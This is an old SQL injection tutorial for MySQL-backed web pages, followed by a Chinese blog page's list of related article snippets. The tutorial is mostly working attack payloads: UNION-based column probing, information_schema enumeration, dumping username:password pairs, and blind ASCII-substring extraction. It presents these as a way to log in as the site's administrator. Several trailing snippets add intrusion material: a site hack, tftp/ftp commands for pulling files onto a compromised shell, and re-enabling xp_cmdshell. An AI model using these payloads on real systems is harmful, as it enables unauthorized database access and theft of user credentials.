SQL Injection Tutorial by Marezzi (MySQL) In this tutorial i will describe how sql injection works and how to use it to get some useful information. First of all: What is SQL injection? It's one of the most common vulnerability in web applications today. It allows attacker to execute database query in url and gain access to some confidential information etc...(in shortly). 1.SQL Injection (classic or error based or whatever you call it) :D 2.Blind SQL Injection (the harder part) So let's start with some action :D 1). Check for vulnerability Let's say that we have some site like this http://www.site.com/news.php?id=5 Now to test if is vulrnable we add to the end of url ' (quote), and that would be http://www.site.com/news.php?id=5' so if we get some error like "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..." or something similar that means is vulrnable to sql injection :) 2). Find the number of columns To find number of columns we use statement ORDER BY (tells database how to order the result) so how to use it? Well just incrementing the number until we get an error. http://www.site.com/news.php?id=5 order by 1/* <-- no error http://www.site.com/news.php?id=5 order by 2/* <-- no error http://www.site.com/news.php?id=5 order by 3/* <-- no error http://www.site.com/news.php?id=5 order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that) that means that the it has 3 columns, cause we got an error on 4. 3). Check for UNION function With union we can select more data in one sql statement. so we have http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). ) if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works :) 4). Check for MySQL version http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try -- it's a comment and it's important for our query to work properly. let say that we have number 2 on the screen, now to check for version we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar. it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/* if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..." i didn't see any paper covering this problem, so i must write it :) what we need is convert() function i.e. http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/* or with hex() and unhex() i.e. http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/* and you will get MySQL version :D 5). Getting table and column name well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version. we must guess table and column name in most cases. common table names are: user/s, admin/s, member/s ... common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc... i.e would be http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good :D) we know that table admin exists... now to check column names. http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name) we get username displayed on screen, example would be admin, or superadmin etc... now to check if column password exists http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name) we seen password on the screen in hash or plain-text, it depends of how the database is set up :) i.e md5 hash, mysql hash, sha1... now we must complete query to look nice :) for that we can use concat() function (it joins strings) i.e http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/* Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon) (there is another way for that, char(58), ascii value for : ) http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/* now we get dislayed username:password on screen, i.e admin:admin or admin:somehash when you have this, you can login like admin or some superuser :D if can't guess the right table name, you can always try mysql.user (default) it has user i password columns, so example would be http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/* 6). MySQL 5 Like i said before i'm gonna explain how to get table and column names in MySQL > 5. For this we need information_schema. It holds all tables and columns in database. to get tables we use table_name and information_schema.tables. i.e http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/* here we replace the our number 2 with table_name to get the first table from information_schema.tables displayed on the screen. Now we must add LIMIT to the end of query to list out all tables. i.e http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/* note that i put 0,1 (get 1 result starting from the 0th) now to view the second table, we change limit 0,1 to limit 1,1 i.e http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/* the second table is displayed. for third table we put limit 2,1 i.e http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/* keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... :D To get the column names the method is the same. here we use column_name and information_schema.columns the method is same as above so example would be http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/* the first column is diplayed. the second one (we change limit 0,1 to limit 1,1) ie. http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/* the second column is displayed, so keep incrementing until you get something like username,user,login, password, pass, passwd etc... :D if you wanna display column names for specific table use this query. (where clause) let's say that we found table users. i.e http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/* now we get displayed column name in table users. Just using LIMIT we can list all columns in table users. Note that this won't work if the magic quotes is ON. let's say that we found colums user, pass and email. now to complete query to put them all together :D for that we use concat() , i decribe it earlier. i.e http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/* what we get here is user:pass:email from table users. example: admin:hash:whatever@blabla.com That's all in this part, now we can proceed on harder part :) 2. Blind SQL Injection Blind injection is a little more complicated the classic injection but it can be done :D I must mention, there is very good blind sql injection tutorial by xprog, so it's not bad to read it :D Let's start with advanced stuff. I will be using our example http://www.site.com/news.php?id=5 when we execute this, we see some page and articles on that page, pictures etc... then when we want to test it for blind sql injection attack http://www.site.com/news.php?id=5 and 1=1 <--- this is always true and the page loads normally, that's ok. now the real test http://www.site.com/news.php?id=5 and 1=2 <--- this is false so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection. 1) Get the MySQL version to get the version in blind attack we use substring i.e http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4 this should return TRUE if the version of MySQL is 4. replace 4 with 5, and if query return TRUE then the version is 5. i.e http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5 2) Test if subselect works when select don't work then we use subselect i.e http://www.site.com/news.php?id=5 and (select 1)=1 if page loads normally then subselects work. then we gonna see if we have access to mysql.user i.e http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1 if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE. 3). Check table and column names This is part when guessing is the best friend :) i.e. http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.) then if the page loads normally without content missing, the table users exits. if you get FALSE (some article missing), just change table name until you guess the right one :) let's say that we have found that table name is users, now what we need is column name. the same as table name, we start guessing. Like i said before try the common names for columns. i.e http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1 if the page loads normally we know that column name is password (if we get false then try common names or just guess) here we merge 1 with the column password, then substring returns the first character (,1,1) 4). Pull data from database we found table users i columns username password so we gonna pull characters from that. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80 ok this here pulls the first character from first user in table users. substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value and then compare it with simbol greater then > . so if the ascii char greater then 80, the page loads normally. (TRUE) we keep trying until we get false. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95 we get TRUE, keep incrementing http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98 TRUE again, higher http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99 FALSE!!! so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'. then let's check the second character. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99 Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght) http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99 TRUE, the page loads normally, higher. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107 FALSE, lower number. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104 TRUE, higher. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105 FALSE!!! we know that the second character is char(105) and that is 'i'. We have 'ci' so far so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end). There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually, cause that makes you better SQL INJECTOR :D Hope you learned something from this paper. Have FUN! (: To be continued and updated... marezzi@gmail.com [18 April 2008]
相关推荐
永久关闭Windows更新的5种方法
很多家用电脑,如果系统自动更新的话,会变得越来越卡顿,且硬件型号兼容也并不完美。那么我们该如何彻底关闭Win11的自动更新呢?以下准备了5种方法,您可以根据自身实际情况选择合适的方法!
入侵隐士黑客 www.hack86.com
作者:aloner这次过程主要是要多想想。找到突破口就是了。 没什么技术性。目标:www.hack86.com 一般这些黑客站基本上是不可能直接从主站入手搞的。 http://www.seologs.com/ip-domains.html 旁注吧。查了一下,上面有70几个站点。 这些站里面有很多是企业站.可以or=or进后台的,ewebeditor可以拿的,注入也可以拿的。 拿到了5到6个
IC设计新手必看:如何正确使用去耦电容(decap)避免电源噪声?
本文深入探讨了IC设计中去耦电容(decap)的应用技巧,从核心原理到布局实现,帮助新手工程师有效抑制电源噪声。文章详细解析了MIM、MOM等电容类型的特性与选择策略,并提供了先进的布局技巧和验证方法,特别适用于28nm以下先进工艺的电路设计挑战。
Dvbbs 8.2 login_sql注入漏洞探析
挺无聊的,分析下”洞网/”,环境架好后.找到有问题的语句: End If Else username=trim(Dvbbs.CheckStr(request("username"))) If ajaxPro Then username = unescape(username) End If
iOS Certificates, Identifiers & Profiles简介
1. Certificates Certificates是生成开发和生产所需的证书。 2.1 certSigningRequest文件 生成证书前,需要先生成certSigningRequest文件,certSigningRequest文件由【钥匙串访问】生成。 选择菜单【钥匙串访问】,【证书助理】下的【从证书颁发机构请求证书…】 填写【用户电子邮件地址: 】,将【请求是:】的选项改为【储存到磁盘】 输入certSigningRequest文件的文件名,并指定保存位置。 保存certSignin
【ES】--Elasticsearch的分词器深度研究
分词器是ik_max_word,会将“龙马家书”拆分为“龙马”、“马家”、“家书”。然后filter配置的是edge_ngram_filter,在上面拆分的token词组基础上,按照edge_ngram_filter规则进一步拆分。从结果看:分词器是keyword,filter支持edge_ngram_filter,字符过滤器支持tsconvert【简繁体】。分词器是keyword,表明是不进行分词,但filtet中edge_ngram_filter是按照布长方式拆分token,所以得到如此结果。
SHELLCMD下文件上传大法
本文是居于已经得到了一个有一定权限的SHELL.命令行下传送文件的其他方法. 一,TFTP格式:tftp -i get file.exe path/file.exe 默认存放在system32下,如果指定就存在指定的地方。二:ftp下载文件 ftp下载文件一般步骤如下: echo open xxx.xxx.xxx.xxx 〉ftp.txt echo user 〉〉f
从零开始玩转机械臂:用Matlab+Robotics Toolbox实现四自由度机械臂运动仿真
本文详细介绍了如何利用Matlab及其Robotics Toolbox工具箱,从零开始构建并仿真一个四自由度机械臂。通过D-H参数建模、正向运动学验证、交互式操控以及轨迹规划等实践步骤,帮助初学者在虚拟环境中直观理解机器人运动学核心概念,为后续硬件实现奠定坚实基础。
Z-blog跨站脚本攻击漏洞
漏洞说明:Z-Blog是一款基于Asp平台的Blog博客(网志)程序,支持Wap,支持Firefox,Oprea等浏览器,在国内使用非常广泛,官方主页在http://www.rainbowsoft.org/。Z-blog代码严谨,前台功能简洁,后台功能强大,这为它的产品安全带来很大的优势,但是80sec在产品中发现一个严重的跨站脚本攻击漏洞,加上产品设计上的一些问题可能带来严重的后果。漏洞厂
【Go语言实战】(26) 分布式搜索引擎
基于go语言的分布式搜索引擎
图像质量评估和点云质量评估
本文介绍了图像质量评估和点云质量评估的基本概念和常用方法,并提供了相应的源代码示例。图像质量评估关注图像的视觉质量,常用的评估指标包括均方误差(MSE)、结构相似性指标(SSIM)和峰值信噪比(PSNR)。点云质量评估关注点云数据的准确性和完整性,常用的评估方法包括点云配准质量评估、稠密重建质量评估和离群点检测质量评估。在计算机视觉和计算机图形学领域中,图像质量评估和点云质量评估是两个重要的任务。图像质量评估旨在量化图像的视觉质量,而点云质量评估则关注于点云数据的准确性和完整性。
sql server 2005注入技巧集
[sql server 2005,检测权限]and 1=(select IS_SRVROLEMEMBER(sysadmin))and 1=(select IS_SRVROLEMEMBER(serveradmin))and 1=(select IS_SRVROLEMEMBER(setupadmin))and 1=(select IS_SRVROLEMEMBER(securit
threejs中使用Reflector实现出倒影效果,并实现背景透明的效果(Reflector镜面背景透明, 倒影弱化)
在项目中遇到要实现倒影效果,threejs给我们提供了Reflector,可以轻松完成镜面效果,实现倒影。但背景不透明;并且反射出的倒影太亮了;网上没搜到解决方案, 自己修改了下源码实现了想要的效果,做个记录...
SQLExec.c
/******************************************************************SQLExec.cThis file is for educational purposes only.If you are planning to use it for another purposeuse it with your ow
ET2012新版免狗免安装绿色软件
ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,
霍尼韦尔SoftMaster使用说明
霍尼韦尔SoftMaster使用说明
比较流行的数据库挂马
google_ad_client="pub-6065469188450680";google_ad_width=728;google_ad_height=90;google_ad_format="728x90_as";google_ad_type="text_image";google_ad_channel="6872543818";2007-01-10 15:00
温度PID控制PLC程序
温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值
xp_cmdshell新的恢复办法
扩展储存过程被删除以后可以有很简单的办法恢复:删除drop procedure sp_addextendedprocdrop procedure sp_oacreateexec sp_dropextendedproc xp_cmdshell恢复dbcc addextendedproc ("sp_oacreate","odsole70.dll")dbcc addextendedproc
复分析 阿尔福斯(Ahlfors) 第三版答案 英文
答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案
SQL并行执行的机制解析与计划调控实践
并行执行是大数据量场景的核心提速手段,但用错代价极高。本文从问题边界讲起,梳理并行度的确定层级、优化器生成并行计划的逻辑、数据再分布与通信代价、倾斜成因与识别方法,覆盖表设计、索引策略、并行DML、RAC调度与参数取舍,配合三个真实失败案例与诊断步骤,给出一套可落地的并行治理流程与误区清单。
数据库优化不是只加索引:从 SQL、表结构到写入链路的完整取舍
上线之后,有的查询确实变快,但一段时间之后,写入接口越来越卡、有些 SQL 依旧不走索引、高峰时段锁等待堆积。同时,这条查询只需要 id、order_no、amount,还没有形成覆盖索引,依旧会回表。更新语句的过滤条件,必须能够命中索引,锁定尽可能少的行。有时候 SQL 明明有索引,explain 却看到优化器选择全表扫描,不是索引失效,是 MySQL 统计信息不准,优化器误判扫描行数。如果只有三个单列索引,MySQL 优化器只会选择其中一个索引,剩下的条件需要回表过滤,还需要文件排序,效率很低。
Flink SQL 连接器实战:MySQL Source、Flink CDC 与 JDBC Sink 全解析
提供有界流读取,适合批处理和维表场景,简单直接但无法感知变更。MySQL CDC提供无界流读取,通过「全量快照 + binlog 增量」的方式实现实时捕获,是实时数仓的核心入口,但需要 MySQL 侧正确配置 binlog 和权限。JDBC Sink负责结果回写,关键在于区分仅插入流和更新流,更新流必须依赖主键完成 upsert。掌握这三者的差异,本质上就是掌握了 Flink 中「有界与无界」「追加与更新」这两组最基本的语义。
嵌入式数据库横向对比:HSQLDB · Derby · DuckDB · SQLite · H2 · SQLTiny
SQLTiny 是用 C++20 从零实现的轻量嵌入式数据库,核心定位为支持 MySQL Wire Protocol 的多语言、可网络访问的嵌入式数据库。区别于 SQLite(文件锁)、DuckDB(列式分析)、HSQLDB/H2(私有协议),它以极简代码量(~15k LOC)和标准协议兼容,填补了“嵌入式 + 多语言直连 + TCP server”空白。虽当前性能受限于全局锁与无索引 JOIN,但其清晰架构与生态兼容性使其成为教学、原型开发及多语言项目中理想的 MySQL 替代品。
云数仓向PostgreSQL生态延伸的技术动因与工程代价
Snowflake以2.5亿美元收购Crunchy Data,把云数仓的触角伸向PostgreSQL生态。本文从负载补齐、元数据标准化与AI应用低延迟读写三个切面拆解收购动机,逐层分析列存与行存的能力边界、存算分离下引入事务负载的提交延迟预算、逻辑复制的接缝风险、元数据统一与混合负载隔离冲突,并给出迁移落地的分阶段验收清单与七个典型误区,最后提供评估厂商PostgreSQL能力的六项观察指标。
记一次Sql Server2012免费版如何升级到2016企业版本
本文记录了将SQL Server 2012免费版升级至企业版的完整流程,重点解决因版本限制导致无法使用代理功能的问题。通过加载ISO安装包,选择从旧版本升级,完成功能安装与实例配置后,需手动启用“代理XP”并检查服务状态。若代理仍异常,需通过安装程序添加“SQL Server代理”组件,最终实现企业版功能完整启用。
SQL Server 基础语法详解:从建库建表到约束与增删改查
本文以学生信息表 Students 为主线,系统讲解数据库基础语法,涵盖建库、建表、约束添加及增删改查操作。通过 SQL Server T-SQL 示例,清晰区分数据库、表结构与记录的操作对象,强调字段类型、非空、自增、主键、唯一、检查与默认约束的定义与应用,帮助读者理清各语句间的逻辑关系,掌握数据库管理的核心技能。
PostgreSQL 日报| OAuth 校验库置空仍可登录(11 月 9 日)
Tomas Vondra 提交了针对 commit a798660ebe3 中"bogus parameterizations"漏洞的清理版修复补丁,并为各个回退分支分别提供了对应的版本。据报道,OpenAI 正在进行新一轮融资,已额外筹集 110 亿美元,整轮融资尚未正式收官,预计将在未来数周内完成。作为一款面向现代开发流程的 Serverless Postgres 数据库,Lakebase 支持即时分支与环境克隆,并通过计算与存储分离的架构提升性能、降低成本、增强可靠性。函数中发现了一个 bug。
#SQLite 数据库笔记一:(概念 / 终端指令 / SQL 语句 / C 编程 / 回调函数)
数据库 = 数据的仓库,假设数据是海量。能力说明存储数据持久化保存,程序退出数据还在统计数据、分组、排序数据管理增、删、改、查(CRUD)嵌入式设备上也会用数据库(单片机网关、路由器、工业 HMI 都常见),因为 sqlite 体积小、无需服务进程、单文件即可。数据库 = 库 > 表 > 记录(行) > 字段(列)sqlite3 = 开源、C 写的、单文件、免安装、最多 2T 的嵌入式关系型数据库。
DeepSeek总结的 PostgreSQL 18.7、17.12、16.16、15.20、14.25 及 19 RC 2 发布说明
发布于 2026-11-12,由 PostgreSQL 全球开发组发布PostgreSQL 项目 安全PostgreSQL 全球开发组已发布所有受支持版本的更新,包括 18.7、17.12、16.16、15.20 和 14.25,以及 PostgreSQL 19 的第二个发布候选版本。本次发布修复了 52 个安全漏洞和过去几个月报告的 140 多个 bug。有若干问题可能需要你在更新后采取额外步骤,下文有详细说明。请参阅"更新"一节,了解更新后可能需要执行的步骤。完整变更列表请查阅发布说明。
1万+



被折叠的 条评论
为什么被折叠?



